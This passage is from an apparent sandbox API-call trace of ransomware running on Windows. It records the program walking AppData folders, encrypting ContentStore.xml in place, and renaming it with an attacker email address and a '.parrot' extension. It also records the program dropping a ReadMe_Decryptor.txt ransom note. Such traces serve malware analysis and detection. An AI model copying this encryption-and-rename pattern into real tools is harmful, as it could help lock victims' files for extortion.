ftLastAccessTime.dwLowDateTime=0x43bcc750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x43bcc750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0055.491] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x609048 | out: hHeap=0x540000) returned 1 [0055.491] FindClose (in: hFindFile=0x5daca0 | out: hFindFile=0x5daca0) returned 1 [0055.491] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608f18 | out: hHeap=0x540000) returned 1 [0055.491] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbec39d0, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0xbec39d0, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher Building Blocks", cAlternateFileName="PUBLIS~2")) returned 1 [0055.491] lstrcmpW (lpString1="Publisher Building Blocks", lpString2=".") returned 1 [0055.491] lstrcmpW (lpString1="Publisher Building Blocks", lpString2="..") returned 1 [0055.491] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x5eb960 [0055.491] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcbb8 [0055.491] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xbe) returned 0x55c0b0 [0055.491] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcbb8 | out: hHeap=0x540000) returned 1 [0055.491] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bf20 | out: hHeap=0x540000) returned 1 [0055.491] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0055.491] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559dc8 [0055.491] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0055.491] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5daca0 [0055.493] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.493] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbec39d0, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0xbec39d0, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.493] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.493] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.493] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4bb4c1b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xbec39d0, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0xa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ContentStore.xml", cAlternateFileName="CONTEN~1.XML")) returned 1 [0055.493] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb570 [0055.493] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0055.493] lstrcmpW (lpString1="ContentStore.xml", lpString2="ReadMe_Decryptor.txt") returned -1 [0055.493] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\publisher building blocks\\contentstore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x318 [0055.494] GetFileSize (in: hFile=0x318, lpFileSizeHigh=0x18f530 | out: lpFileSizeHigh=0x18f530*=0x0) returned 0xa8 [0055.494] LockFile (hFile=0x318, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1c0, nNumberOfBytesToLockHigh=0x0) returned 1 [0055.494] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0055.495] ReadFile (in: hFile=0x318, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0055.495] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.496] ReadFile (in: hFile=0x318, lpBuffer=0x3780040, nNumberOfBytesToRead=0xa8, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x3780040*, lpNumberOfBytesRead=0x18f4b4*=0xa8, lpOverlapped=0x0) returned 1 [0055.496] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bbe8 [0055.496] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0055.496] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x5e2a48 [0055.496] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c70 [0055.496] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0055.496] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x3890060 [0055.496] GetLastError () returned 0x0 [0055.496] SetLastError (dwErrCode=0x0) [0055.496] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0055.496] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5e78a0 [0055.496] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c40 [0055.496] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0055.496] GetLastError () returned 0x0 [0055.496] SetLastError (dwErrCode=0x0) [0055.496] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0055.496] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0055.496] GetLastError () returned 0x0 [0055.496] SetLastError (dwErrCode=0x0) [0055.496] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0055.496] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0055.496] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c88 [0055.496] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x61c9a8 [0055.496] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559d10 [0055.496] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bbe8 [0055.496] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x150) returned 0x562228 [0055.496] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x540000) returned 1 [0055.496] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c88 | out: hHeap=0x540000) returned 1 [0055.496] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0055.496] GetLastError () returned 0x0 [0055.497] SetLastError (dwErrCode=0x0) [0055.497] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0055.497] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x61c9a8 | out: hHeap=0x540000) returned 1 [0055.497] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0055.497] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e78a0 | out: hHeap=0x540000) returned 1 [0055.497] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c70 | out: hHeap=0x540000) returned 1 [0055.497] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e2a48 | out: hHeap=0x540000) returned 1 [0055.497] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3890060 | out: hHeap=0x540000) returned 1 [0055.497] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x38b0060 [0055.497] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x180) returned 0x5fc6d0 [0055.497] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x38b0060 | out: hHeap=0x540000) returned 1 [0055.497] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.497] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1) returned 0x55bbe8 [0055.497] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55bd98 [0055.497] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0055.497] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3) returned 0x55bbe8 [0055.497] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bd98 | out: hHeap=0x540000) returned 1 [0055.497] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bd98 [0055.497] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0055.497] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bbe8 [0055.497] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bd98 | out: hHeap=0x540000) returned 1 [0055.497] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x9) returned 0x5f4c70 [0055.497] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0055.497] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd) returned 0x5f4c40 [0055.497] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c70 | out: hHeap=0x540000) returned 1 [0055.497] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13) returned 0x59a0c8 [0055.497] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0055.497] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x603dd8 [0055.497] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0055.497] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2a) returned 0x5bb570 [0055.497] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0055.497] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3f) returned 0x5eb960 [0055.497] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0055.497] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5e) returned 0x28d9488 [0055.498] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0055.498] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8d) returned 0x608f18 [0055.498] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0055.498] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd3) returned 0x28d14a8 [0055.498] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608f18 | out: hHeap=0x540000) returned 1 [0055.498] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c8) returned 0x562c90 [0055.498] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d14a8 | out: hHeap=0x540000) returned 1 [0055.498] WriteFile (in: hFile=0x318, lpBuffer=0x562c90*, nNumberOfBytesToWrite=0x1c8, lpNumberOfBytesWritten=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x562c90*, lpNumberOfBytesWritten=0x18f4b4*=0x1c8, lpOverlapped=0x0) returned 1 [0055.498] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562c90 | out: hHeap=0x540000) returned 1 [0055.498] UnlockFile (hFile=0x318, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1c0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0055.498] CloseHandle (hObject=0x318) returned 1 [0055.499] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd0) returned 0x5cb618 [0055.499] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x136) returned 0x5ec8b8 [0055.499] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5cb618 | out: hHeap=0x540000) returned 1 [0055.499] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\publisher building blocks\\contentstore.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\publisher building blocks\\contentstore.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0055.499] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ec8b8 | out: hHeap=0x540000) returned 1 [0055.499] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fc6d0 | out: hHeap=0x540000) returned 1 [0055.499] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562228 | out: hHeap=0x540000) returned 1 [0055.499] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559d10 [0055.499] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd0) returned 0x5cb618 [0055.499] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bbe8 [0055.500] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bd98 [0055.500] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\publisher building blocks\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f2a8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x318 [0055.502] GetFileType (hFile=0x318) returned 0x1 [0055.502] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x61c9a8 [0055.513] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5daca0 [0055.513] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0056300, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb0056300, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.513] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4bb4c1b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0056300, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ContentStore.xml.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="CONTEN~1.PAR")) returned 1 [0055.513] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcbb8 [0055.513] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcbb8 | out: hHeap=0x540000) returned 1 [0055.513] lstrcmpW (lpString1="ContentStore.xml.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0055.513] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120) returned 0x575700 [0055.513] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb0056300, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb0056300, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb007c460, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0055.513] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb570 [0055.513] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0055.513] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0055.513] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb0056300, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb0056300, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb007c460, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 0 [0055.513] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x540000) returned 1 [0055.513] FindClose (in: hFindFile=0x5daca0 | out: hFindFile=0x5daca0) returned 1 [0055.513] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x559dc8 | out: hHeap=0x540000) returned 1 [0055.513] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Speech", cAlternateFileName="")) returned 1 [0055.513] lstrcmpW (lpString1="Speech", lpString2=".") returned 1 [0055.513] lstrcmpW (lpString1="Speech", lpString2="..") returned 1 [0055.513] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcbb8 [0055.513] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55c0b0 | out: hHeap=0x540000) returned 1 [0055.514] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcb30 [0055.514] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0055.514] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Speech\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5daca0 [0055.514] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.514] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.514] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.514] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.514] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0055.514] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcaa8 [0055.514] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xbe) returned 0x55c0b0 [0055.514] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcaa8 | out: hHeap=0x540000) returned 1 [0055.514] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0055.514] FindClose (in: hFindFile=0x5daca0 | out: hFindFile=0x5daca0) returned 1 [0055.514] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Speech\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5daca0 [0055.514] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.515] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0055.515] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55c0b0 | out: hHeap=0x540000) returned 1 [0055.515] FindClose (in: hFindFile=0x5daca0 | out: hFindFile=0x5daca0) returned 1 [0055.515] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcb30 | out: hHeap=0x540000) returned 1 [0055.515] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemCertificates", cAlternateFileName="SYSTEM~1")) returned 1 [0055.515] lstrcmpW (lpString1="SystemCertificates", lpString2=".") returned 1 [0055.515] lstrcmpW (lpString1="SystemCertificates", lpString2="..") returned 1 [0055.515] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb570 [0055.515] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcb30 [0055.515] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xbe) returned 0x55c0b0 [0055.515] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcb30 | out: hHeap=0x540000) returned 1 [0055.515] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcbb8 | out: hHeap=0x540000) returned 1 [0055.515] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0055.515] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3998 [0055.515] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0055.515] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5daca0 [0055.515] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.516] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.516] lstrcmpW 